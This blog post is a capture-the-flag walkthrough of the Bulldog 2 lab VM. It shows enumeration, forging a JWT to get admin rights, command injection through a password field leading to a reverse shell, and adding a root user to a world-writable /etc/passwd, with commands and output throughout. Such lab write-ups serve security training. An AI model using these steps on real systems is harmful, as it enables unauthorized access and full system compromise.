Amonsec

It's all about security.

A simple blog where you can find different things about digital security.

Bulldog 2: CTF walktrough

INFORMATION

Name: Bulldog: 2

Date release: 18 Jul 2018

 

Author: Nick Frichette

Series: Bulldog

 

Enumeration

First and foremost we need the IP address of the VM. For that, as usual, we will use arp-scan.

ronin :~# arp-scan --localnet 
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
192.168.1.35    08:00:27:ac:f1:85    CADMUS COMPUTER SYSTEMS (DUP: 2)
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]

9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.409 seconds (106.27 hosts/sec). 9 responded
ronin :~# 

 

Then, we can scan the target, in order to find open ports and running services.

ronin :~# nmap -sV -sC -T5 192.168.1.35
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-30 11:34 EDT
Nmap scan report for ronin.home (192.168.1.35)
Host is up (0.00056s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Bulldog.social
MAC Address: 08:00:27:AC:F1:85 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.61 seconds
ronin :~# 

 

According to the nmap scan, like the first one, we are going to exploit a web application.

 

Our entry point

I have to confess that the first 30 minutes was tough and then I realised that we have access to the client side's source code when Node JS based language are involved. That's why I decided to download and read the main script located at: http://192.168.1.35/main.8b490782e52b9899e2a7.bundle.js.

By reading it, we can find two interesting things. Note, I used the https://unminify.com/ website the un-obfuscate/minify the JS code.

 

First, the usable URLs:

  return [
                        [{
                            path: "",
                            component: K
                        }, {
                            path: "register",
                            component: H
                        }, {
                            path: "login",
                            component: j
                        }, {
                            path: "dashboard",
                            component: V,
                            canActivate: [z]
                        }, {
                            path: "profile",
                            component: W,
                            canActivate: [z]
                        }, {
                            path: "profile/:username",
                            component: W
                        }, {
                            path: "users",
                            component: J
                        }, {
                            path: "about",
                            component: Y
                        }, {
                            path: "**",
                            component: X
                        }]
                    ]

 

And, how to create a new user:

return l.prototype.registerUser = function(l) {
                    var n = new x.Headers;
                    return n.append("Content-Type", "application/json"), this.http.post("/users/register", l, {
                        headers: n
                    }).map(function(l) {
                        return l.json()
                    })
                },

[..snip..]

 return l.prototype.ngOnInit = function() {}, l.prototype.onRegisterSubmit = function() {
                    var l = this,
                        n = {
                            name: this.name,
                            email: this.email,
                            username: this.username,
                            password: this.password
                        };
                    return this.validateService.validateRegister(n) ? this.validateService.validateEmail(n.email) ? void this.authService.registerUser(n).subscribe(function(n) {
                        n.success ? (l.flashMessage.show("You are now registered and can log in", {
                            cssClass: "alert-success",
                            timeout: 3e3
                        }),

 

So, we will create a new user and we will analyse the authentication process.

 

Creating a new user

According to what we found in the source code, we can easily create a new user with this following POST request:

ronin :~# curl -X POST 'http://192.168.1.35/users/register' -H 'Content-Type: application/json' -d '{"name": "Amonsec", "username": "amonsec", "password": "amonsec1234", "email": "amonsec@amonsec.net"}'
{"success":true,"msg":"User registered"}ronin :~#
 

From nothing to admin

Now, let's take a closer look at the authentication process and for that I will use BurpSuite.

First, let's catch the HTTP POST request that we are sending to the server when we submit the login form:

bulldog2_loggin_request.png

At this point, we can intercept the response from the server:

bulldog2_loggin_intercept_response.png

As we can see, a JWT token is crafted by the server and few others parameters.

bulldog2_jwt_token.png

We can easily decode this token with the following website: https://jwt.io/

bulldog2_jwt_token_decoded.png

Now, if we come back to the JS source code, we can see that in different places the auth_level variable is checked. 

Moreover, the master_admin_user seems to be the highest right.

 }, l.prototype.isAdmin = function() {
                    var l = localStorage.getItem("user");
                    return null !== l && "master_admin_user" == JSON.parse(l).auth_level
                }, l.prototype.storeUserData = function(l, n) {
                    localStorage.setItem("id_token", l), localStorage.setItem("user", JSON.stringify(n)), this.authToken = l, this.user = n
                }, l.prototype.loadToken = function() {

 

So, we just have to change our current JWT token's authentication level for 'master_admin_user' via https://jwt.io/ and to copy past in BurpSuite the new token. That's how we can gain admin privileges in the web application.

 

Code execution

With our fresh admin privileges, now , we can navigate to the /dashboard URL. This is a basic form, but the interesting thing about this form is that the creator of the application tell us that it's for a CLI tool, which means that we can probably find a way to inject some arbitrary code.

 

Let's try a simple example in my local system. I can run a simple command with few flags:

ronin :~/Desktop# ls -la
total 128
drwxr-xr-x  6 root root 20480 Jul 28 11:23 .
drwxr-xr-x 56 root root  4096 Jul 30 11:32 ..
-rw-r--r--  1 root root  4411 Jul 28 11:23 exploit.py
-rw-------  1 root root  2671 May  5 14:44 .gdb_history
drwxr-xr-x 34 root root  4096 Jun 29 18:41 HTB
-rw-r--r--  1 root root 75127 Jul 26 12:30 main.js
drwxr-xr-x  7 root root  4096 May 24 15:40 RastaLab
drwxr-xr-x 64 root root  4096 May  2 12:03 .secret
drwxr-xr-x 29 root root  4096 Jun 11 11:15 vhl
ronin :~/Desktop# 

 

But now, If I use the ; character I will chain other commands:

ronin :~/Desktop# ls -lah; id; whoami
total 128K
drwxr-xr-x  6 root root  20K Jul 28 11:23 .
drwxr-xr-x 56 root root 4.0K Jul 30 11:32 ..
-rw-r--r--  1 root root 4.4K Jul 28 11:23 exploit.py
-rw-------  1 root root 2.7K May  5 14:44 .gdb_history
drwxr-xr-x 34 root root 4.0K Jun 29 18:41 HTB
-rw-r--r--  1 root root  74K Jul 26 12:30 main.js
drwxr-xr-x  7 root root 4.0K May 24 15:40 RastaLab
drwxr-xr-x 64 root root 4.0K May  2 12:03 .secret
drwxr-xr-x 29 root root 4.0K Jun 11 11:15 vhl
uid=0(root) gid=0(root) groups=0(root)
root
ronin :~/Desktop# 

 

This is the exact same thing with this form. We will inject a ; in the password variable, followed with the system command that we want to execute.

For example, a python reverse shell.

bulldog2_python_reverse_shell.png

 

That will give us a low privilege reverse shell.

buldog2_low_privs_reverse_shell.png
 

Privilege escalation

We can find that the /etc/passwd file is writable by the any user in this system.

node@bulldog2:/$ find /etc -perm -o+w -type f 2>/dev/null
find /etc -perm -o+w -type f 2>/dev/null
/etc/passwd
node@bulldog2:/$
node@bulldog2:/$ ls -la /etc/passwd
ls -la /etc/passwd
-rwxrwxrwx 1 root root 166 Jul 31 15:19 /etc/passwd
node@bulldog2:/$ 

 

So, nothing really complex here,. First, we will create a simple password.

ronin :~# perl -le 'print crypt("offsec1234", "aa")'
aag8bHk/BoF1k
ronin :~# 

 

Then, we will add a new root user.

node@bulldog2:/$ echo "offsec:aag8bHk/BoF1k:0:0:offsec:/root:/bin/bash" >> /etc/passwd
<Hk data-preserve-html-node="true"/BoF1k:0:0:offsec:/root:/bin/bash" >> /etc/passwd
node@bulldog2:/$ 

 

That's how, finally, we have a root access to the system.

bulldog2_root_shell.png
 
 

break